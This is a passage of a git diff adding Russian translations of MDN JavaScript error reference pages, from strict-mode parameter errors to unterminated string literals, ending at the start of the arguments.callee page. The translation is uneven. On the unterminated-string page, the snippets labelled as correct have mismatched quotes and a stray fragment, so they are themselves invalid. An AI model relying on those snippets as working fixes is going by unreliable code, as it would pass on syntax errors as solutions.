+  return 3 + 4  //OK: return без точки с запятой и вычисляемое выражение находятся на одной строке
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/return", "Automatic Semicolon Insertion", "#Automatic_Semicolon_Insertion", 1)}}</li>
+</ul>
+
+<div id="dc_vk_code" style="display: none;"> </div>
diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
new file mode 100644
index 0000000000..48917edbc1
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
@@ -0,0 +1,126 @@
+---
+title: 'SyntaxError: "use strict" not allowed in function with non-simple parameters'
+slug: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<p> </p>
+
+<pre>Edge:
+Cannot apply strict mode on functions with non-simple parameter list
+
+Firefox:
+SyntaxError: "use strict" not allowed in function with default parameter
+SyntaxError: "use strict" not allowed in function with rest parameter
+SyntaxError: "use strict" not allowed in function with destructuring parameter
+
+Chrome:
+SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list</pre>
+
+<p>Перевод:</p>
+
+<pre class="syntaxbox">Edge:
+Не удается применить строгий режим к функциям со списком, содержащим сложные параметры
+
+Firefox:
+Ошибка синтаксиса: "use strict" не допускается в функции с параметром по умолчанию
+Ошибка синтаксиса: "use strict" не допускается в функции с rest параметром
+Ошибка синтаксиса: "use strict" не допускается в функции с параметром, использующим деструктуризацию
+
+Chrome:
+Ошибка синтаксиса: недопустимая директива 'use strict' в функции со списком, содержащим сложные параметры
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Директива <code>"use strict"</code> была использована в верхней части функции, которая имеет один из следующих параметров:<br>
+  </p>
+
+<ul>
+ <li>{{jsxref("функции/Default_parameters", "параметры по умолчанию", "", 1)}}</li>
+ <li>{{jsxref("функции/rest_parameters", "остальные параметры", "", 1)}}</li>
+ <li>{{jsxref("операторы/Destructuring_assignment", "деконструкция параметров", "", 1)}}</li>
+</ul>
+
+<p>Директива "use strict" не допускается в верхней части таких функций согласно спецификации ECMAScript.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Функция_заявления">Функция заявления</h3>
+
+<p>В этом случае функция sum имеет параметры по умолчанию a=1 и b=2:</p>
+
+<pre class="brush: js example-bad">function sum(a = 1, b = 2) {
+  //SyntaxError: использовать "use strict" не разрешено в функции с параметром по умолчанию
+  'use strict';
+  return a + b;
+}
+</pre>
+
+<p>Если функция должна находиться в строгом режиме, и весь скрипт или заключающая функция также в порядке, чтобы быть в строгом режиме, вы можете переместить директиву "use strict" за пределы функции:</p>
+
+<pre class="brush: js example-good">'use strict';
+function sum(a = 1, b = 2) {
+  return a + b;
+}
+</pre>
+
+<h3 id="Функция_выражения">Функция выражения</h3>
+
+<p>Выражение функции может использовать еще один обходной путь:</p>
+
+<pre class="brush: js example-bad">var sum = function sum([a, b]) {
+  // SyntaxError: "use strict" не допускается в функции с параметром деструктурирования
+  'use strict';
+  return a + b;
+};
+</pre>
+
+<p>Это может быть преобразовано в следующее выражение:</p>
+
+<pre class="brush: js example-good">var sum = (function() {
+  'use strict';
+  return function sum([a, b]) {
+    return a + b;
+  };
+})();
+</pre>
+
+<h3 id="Указательная_функция">Указательная функция</h3>
+
+<p>Если функция со стрелкой должна получить доступ к переменной this, можно использовать функцию со стрелкой в качестве функции включения:</p>
+
+<pre class="brush: js example-bad">var callback = (...args) =&gt; {
+  // SyntaxError: "use strict" не допускается в функции с параметром rest
+  'use strict';
+  return this.run(args);
+};
+</pre>
+
+<p>Это может быть преобразовано в следующее выражение:</p>
+
+<pre class="brush: js example-good">var callback = (() =&gt; {
+  'use strict';
+  return (...args) =&gt; {
+    return this.run(args);
+  };
+})();
+</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode", "строгий режим", "", 1)}}</li>
+ <li>{{jsxref("Ведомости/функция", "оператор function", "", 1)}}</li>
+ <li>{{jsxref("операторы/функции", "свободное выражение функции", "", 1)}}</li>
+ <li>{{jsxref("функции/Default_parameters", "параметры по умолчанию", "", 1)}}</li>
+ <li>{{jsxref("функции/rest_parameters", "остальные параметры", "", 1)}}</li>
+ <li>{{jsxref("операторы/Destructuring_assignment", "деконструкция параметры", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/too_much_recursion/index.html b/files/ru/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..45f59393a4
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,54 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+tags:
+  - Errors
+  - InternalError
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">InternalError: too much recursion
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("InternalError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Функция, вызывающая сама себя, называется <em>рекурсивной функцией</em>. В некотором смысле рекурсия аналогична циклу. Оба выполняют один и тот же код несколько раз, и оба требуют условия (чтобы избежать бесконечного цикла или, вернее, бесконечной рекурсии в этом случае). Когда функция вызывается рекурсивно слишком много раз или бесконечно, JavaScript выдаёт эту ошибку<span class="seoSummary">.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Функция выполняется рекурсивно 10 раз, в соответствии с условием выхода:</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" это условие выхода
+    return;
+  // do stuff
+  loop(x + 1); // рекурсивный вызов
+}
+loop(0);</pre>
+
+<p>В условии установлено слишком большое значение, не будет работать:</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // do stuff
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Functions#Рекурсия">Рекурсия</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/typed_array_invalid_arguments/index.html b/files/ru/web/javascript/reference/errors/typed_array_invalid_arguments/index.html
new file mode 100644
index 0000000000..076743b50c
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/typed_array_invalid_arguments/index.html
@@ -0,0 +1,78 @@
+---
+title: 'TypeError: invalid arguments'
+slug: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - TypeError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: invalid arguments (Firefox)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>Конструкторы <a href="/ru/docs/Web/JavaScript/Typed_arrays">типизированных массивов</a> требуют либо</p>
+
+<ul>
+ <li>длину,</li>
+ <li>другой типизированный массив,</li>
+ <li>массивоподобные объекты,</li>
+ <li>итерируемые объекты либо</li>
+ <li>объект {{jsxref("ArrayBuffer")}}</li>
+</ul>
+
+<p>чтобы создать новый типизированный массив. Другие аргументы конструктора не создают допустимый типизированный массив.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Типизированные массивы, например {{jsxref("Uint8Array")}}, не могут быть построены из строки. На самом деле строки вообще не могут быть в типизированных массивах.</p>
+
+<pre class="brush: js example-bad">var ta = new Uint8Array("nope");
+// TypeError: invalid arguments
+</pre>
+
+<p>Различные способы создания допустимого {{jsxref("Uint8Array")}}:</p>
+
+<pre class="brush: js example-good"> // From a length
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// From an array
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Typed_arrays">Типизированные массивы</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/undeclared_var/index.html b/files/ru/web/javascript/reference/errors/undeclared_var/index.html
new file mode 100644
index 0000000000..2c6705c496
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/undeclared_var/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: assignment to undeclared variable "x"'
+slug: Web/JavaScript/Reference/Errors/Undeclared_var
+translation_of: Web/JavaScript/Reference/Errors/Undeclared_var
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">ReferenceError: assignment to undeclared variable "x" (Firefox)
+ReferenceError: "x" is not defined (Chrome)
+ReferenceError: Variable undefined in strict mode (Edge)
+</pre>
+
+<h2 id="Тип_ошбки">Тип ошбки</h2>
+
+<p>{{jsxref("ReferenceError")}} предупреждение только в <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">строгом режиме</a>.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Значению присвоена необъявленная переменная.</span> <span>Другими словами, было задание без ключевого слова var.</span> <span>Существуют некоторые различия между объявленными и необъявленными переменными, что может привести к неожиданным результатам, поэтому JavaScript представляет ошибку в строгом режиме.</span></span></div>
+
+<div class="trans-verified-button-small" dir="ltr"> </div>
+</div>
+
+<p><span id="result_box" lang="ru"><span>Три примечания о объявленных и необъявленных переменных:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="ru"><span>Объявленные переменные ограничены в контексте выполнения, в котором они объявлены.</span> <span>Необъявленные переменные всегда глобальны.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Объявленные переменные создаются до выполнения любого кода.</span> <span>Необъявленные переменные не существуют до тех пор, пока не будет выполняться присвоение им кода.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Объявленные переменные - это неконфигурируемое свойство контекста их выполнения (функция или глобальная).</span> <span>Необъявленные переменные настраиваются (например, могут быть удалены).</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="ru"><span>Более подробную информацию и примеры см. На странице справки <code><a class="color:#3F93BC;" href="/ru/docs/Web/JavaScript/Reference/Statements/var">Переменных</a> </code></span></span></p>
+
+<p>Errors about undeclared variable assignments occur in <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode code</a> only. In non-strict code, they are silently ignored.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильно">Неправильно</h3>
+
+<p>В этом случае переменная "bar" является необъявленной переменной.</p>
+
+<pre class="brush: js example-bad">function foo() {
+  'use strict';
+  bar = true;
+}
+foo(); // ReferenceError: assignment to undeclared variable bar
+</pre>
+
+<h3 id="Правильно">Правильно</h3>
+
+<p>Чтобы сделать "bar" объявленной переменной, вы можете добавить перед ней ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> .</p>
+
+<pre class="brush: js example-good">function foo() {
+  'use strict';
+  var bar = true;
+}
+foo();</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">режим Strict</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/undefined_prop/index.html b/files/ru/web/javascript/reference/errors/undefined_prop/index.html
new file mode 100644
index 0000000000..fe6487cfa6
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/undefined_prop/index.html
@@ -0,0 +1,57 @@
+---
+title: 'ReferenceError: reference to undefined property "x"'
+slug: Web/JavaScript/Reference/Errors/Undefined_prop
+tags:
+  - JavaScript
+  - ReferenceError
+  - Ошибки
+  - Строгий режим
+translation_of: Web/JavaScript/Reference/Errors/Undefined_prop
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">ReferenceError: reference to undefined property "x" (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>(только в Firefox) Предупреждение {{jsxref("ReferenceError")}}, возникает, только если значение настройки <code>javascript.options.strict</code> равно <code>true</code>.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Совершена попытка обращения к свойству объекта, которое не определено. Существует два способа обращения к свойствам: обратитесь к странице справочника {{jsxref("Operators/Property_Accessors", "property accessors", 0, 1)}} для более подробной информации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Случаи_возникновения_ошибки">Случаи возникновения ошибки</h3>
+
+<p>В данном примере свойство <code>bar</code> не определено, поэтому возникнет ошибка <code>ReferenceError</code>.</p>
+
+<pre class="brush: js example-bad">var foo = {};
+foo.bar; // ReferenceError: reference to undefined property "bar"
+</pre>
+
+<h3 id="Правильный_код">Правильный код</h3>
+
+<p>Чтобы избежать ошибки, потребуется либо задать для объекта свойство <code>bar</code>, либо проверить существование данного свойства, прежде чем обращаться к нему. Одним из способов это сделать является использование метода {{jsxref("Object.prototype.hasOwnProperty()")}}:</p>
+
+<pre class="brush: js example-good">var foo = {};
+
+// Задать свойство bar
+
+foo.bar = 'moon';
+console.log(foo.bar); // "moon"
+
+// Убедиться, что свойство bar существует, прежде чем обращаться к нему
+
+if (foo.hasOwnProperty('bar')) {
+  console.log(foo.bar);
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Operators/Property_Accessors", "property accessors", 0, 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
new file mode 100644
index 0000000000..52b6bca2de
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
@@ -0,0 +1,74 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Errors/Unexpected_token
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=&gt;' after argument list, got "x"
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Вместо определенной конструкции языка было использовано что-то другое. Возможно, просто опечатка.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ожидаемое_выражение">Ожидаемое выражение</h3>
+
+<p>Недопустимыми являются, к примеру, запятые после элементов цепочки выражений.</p>
+
+<pre class="brush: js example-bad">for (let i = 0; i &lt; 5,; ++i) {
+  console.log(i);
+}
+// SyntaxError: expected expression, got ';'
+</pre>
+
+<p>Правильным вариантом будет убрать запятую или добавить еще одно выражение:</p>
+
+<pre class="brush: js example-good">for (let i = 0; i &lt; 5; ++i) {
+  console.log(i);
+}
+</pre>
+
+<h3 id="Недостаточно_скобок">Недостаточно скобок</h3>
+
+<p>Иногда можно потерять скобки при использовании <code>if</code>:</p>
+
+<pre class="brush: js example-bad line-numbers  language-js">function round(n, upperBound, lowerBound){
+  if(n &gt; upperBound) || (n &lt; lowerBound){
+    throw 'Число ' + String(n) + ' больше, чем ' + String(upperBound) + ', или меньше, чем ' + String(lowerBound);
+  }else if(n &lt; ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+} // SyntaxError: expected expression, got '||'</pre>
+
+<p>На первый взгляд кажется, что скобки расставлены правильно, но обратите внимание, что <code>||</code> находится не в скобках. Необходимо заключить <code>||</code> в скобки:</p>
+
+<pre class="brush: js example-good">function round(n, upperBound, lowerBound){
+  if((n &gt; upperBound) || (n &lt; lowerBound)){
+    throw 'Число ' + String(n) + ' больше, чем ' + String(upperBound) + ', или меньше, чем ' + String(lowerBound);
+  }else if(n &lt; ((upperBound + lowerBound)/2)){
+    return lowerBound;
+  }else{
+    return upperBound;
+  }
+}
+</pre>
diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..c8ccbe028f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,63 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Что_случилось">Что случилось?</h2>
+
+<p>Встречен неожиданный тип. Это часто случается со значениями {{jsxref("null")}} или {{jsxref("undefined")}}.</p>
+
+<p>Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определенный тип, который должен быть предоставлен.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Недопустимые_случаи">Недопустимые случаи</h3>
+
+<pre class="brush: js example-bad">// Случаи undefined и null, при которых метод substring не будет работать
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// Некоторые методы могут требовать определенный тип
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h3 id="Решение_проблемы">Решение проблемы</h3>
+
+<p>Что бы исправить ошибку пустого указателя вы можете использовать оператор <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof.</a></p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // Теперь мы знаем, что foo определено.
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
new file mode 100644
index 0000000000..791a215d11
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
@@ -0,0 +1,111 @@
+---
+title: 'SyntaxError: function statement requires a name(функция оператор требует имя)'
+slug: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: ожидаемый идентификатор (Edge)
+SyntaxError: оператор функции требует имя [Firefox]
+SyntaxError: непредвиденный токен ( [Chrome]
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещен в этом контексте.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Операторы_vs_выражения">Операторы vs выражения</h3>
+
+<p>Оператор функции (или объявление функции) требует имя, это не будет работать:</p>
+
+<pre class="brush: js example-bad">function () {
+  return 'Hello world';
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>Вы можете использовать выражение функции (назначять) вместо:</p>
+
+<pre class="brush: js example-good">var greet = function() {
+  return 'Hello world';
+};</pre>
+
+<p>Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится еще несколько брекетов:</p>
+
+<pre class="brush: js example-good">(function () {
+
+})();</pre>
+
+<h3 id="Помеченные_функции">Помеченные функции</h3>
+
+<p>При использовании меток функций после ключевого слова function все равно потребуется указать имя функции. Это не работает:</p>
+
+<pre class="brush: js example-bad">function Greeter() {
+  german: function () {
+    return "Moin";
+  }
+}
+// SyntaxError: оператор функции требует имя
+</pre>
+
+<p>Это будет работать, например так:</p>
+
+<pre class="brush: js example-good">function Greeter() {
+  german: function g() {
+    return "Moin";
+  }
+}</pre>
+
+<h3 id="Методы_обьекта">Методы обьекта</h3>
+
+<p>Если вы намеревались создать метод объекта, вам нужно будет создать объект. Тогда допустим следующий синтаксис без имени после ключевого слова function.</p>
+
+<pre class="brush: js example-good">var greeter = {
+  german: function () {
+    return "Moin";
+  }
+};</pre>
+
+<h3 id="Синтаксис_вызова">Синтаксис вызова</h3>
+
+<p>Кроме того, проверьте синтаксис при использовании обратных вызовов. Скобки и запятые может получить трудно легко.</p>
+
+<pre class="brush: js example-bad">promise.then(
+  function() {
+    console.log("success");
+  });
+  function() {
+    console.log("error");
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>как бы было правильно:</p>
+
+<pre class="brush: json example-good">promise.then(
+  function() {
+    console.log("success");
+  },
+  function() {
+    console.log("error");
+  }
+);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions in the JavaScript Guide</a> (функции в javascript"e гайд)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">Оператор функции</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">Выражение функции</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">label</a> </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
new file mode 100644
index 0000000000..4cd1fbdc1e
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
@@ -0,0 +1,64 @@
+---
+title: 'SyntaxError: unterminated string literal(незавершенный строковый литерал)'
+slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal
+translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: незадействованная строковая константа (Edge)
+SyntaxError: незадействованный строковый литерал (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Где-то есть unterminated {{jsxref("String")}}. Строковые литералы должны быть заключены в одинарные <code>(')</code> или двойные <code>(")</code> кавычки. JavaScript не делает различий между строками в одинарных и двойных кавычках. Escape-последовательности работают в строках, созданных с одинарными или двойными кавычками. Чтобы исправить эту ошибку, проверьте:</p>
+
+<ul>
+ <li>у вас есть открывающие и закрывающие кавычки (одинарные или двойные) для строкового литерала,</li>
+ <li>вы правильно экранировали строковый литерал,</li>
+ <li>строковый литерал не разбивается на несколько строк.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Несколько_строк">Несколько строк</h3>
+
+<p>Вы не можете разделить строку на несколько строк, как в JavaScript:</p>
+
+<pre class="brush: js example-bad">var longString = 'Это очень длинная строка, которая нуждается
+                  перенос через несколько строк, потому что
+                  в противном случае мой код нечитаем.";
+// SyntaxError: незавершонный строковый литерал</pre>
+
+<p>Вместо этого используйте оператор+, обратную косую черту или литералы шаблона. Вариант оператора + выглядит следующим образом:</p>
+
+<pre class="brush: js example-good">var longString = ' Это очень длинная строка, которая нуждается в ' +
+                 'чтобы обернуть через несколько строк, потому что' +
+                 -иначе мой код будет нечитабелен.";
+</pre>
+
+<p>Или можно использовать символ обратной косой черты ("\") в конце каждой строки, чтобы указать, что строка будет продолжаться в следующей строке. Убедитесь, что после обратной косой черты нет пробелов или других символов (кроме разрыва строки) или отступа; в противном случае это не сработает. Эта форма выглядит следующим образом:</p>
+
+<pre class="brush: js example-good">var longString = 'Это очень длинная строка, которая нуждается \
+                переносе через несколько строк, потому что \
+                  в противном случае мой код нечитаем.";
+</pre>
+
+<p>Еще одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:</p>
+
+<pre class="brush: js example-good">var longString = `Это очень длинная строка, которая нуждается
+                  в переносе через несколько строк, потому что
+                  в противном случае мой код нечитаем.`;</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literals</a>(шаблонные литералы)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/переменные_скрывают_аргумент/index.html b/files/ru/web/javascript/reference/errors/переменные_скрывают_аргумент/index.html
new file mode 100644
index 0000000000..85ad505cbd
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/переменные_скрывают_аргумент/index.html
@@ -0,0 +1,60 @@
+---
+title: 'TypeError: переменная "x" переопределяет аргумент'
+slug: Web/JavaScript/Reference/Errors/Переменные_скрывают_аргумент
+tags:
+  - Errors
+  - JavaScript
+  - Strict Mode
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Var_hides_argument
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: переменная "x" повторно объявляет аргумент (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}} предупреждение только в строгом режиме.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p> </p>
+
+<p>То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имен, поэтому JavaScript предупреждает об этом.</p>
+
+<p>Эта ошибка возникает как предупреждение только в коде строгого режима. В нестрогом коде повторное объявление игнорируется.</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильные_примеры">Неправильные примеры</h3>
+
+<p>В этом случае переменная "arg" объявляет аргумент повторно.</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+function f(arg) {
+  var arg = 'foo';
+}
+</pre>
+
+<h3 id="Правильные_примеры">Правильные примеры</h3>
+
+<p>Чтобы исправить это предупреждение, оператор var можно просто опустить, так как переменная уже существует. В других случаях можно переименовать параметр функции или имя переменной. </p>
+
+<pre class="brush: js example-good">'use strict';
+
+function f(arg) {
+  arg = 'foo';
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
new file mode 100644
index 0000000000..eaf41af79d
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
@@ -0,0 +1,141 @@
+---
+title: arguments.callee
+slug: Web/JavaScript/Reference/Functions/arguments/callee
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Свойство <code><strong>callee</strong> псевдомассива <strong>arguments</strong></code> хранит ссылку на функцию-родитель.</p>
+
+<h2 id="Описание">Описание</h2>
+
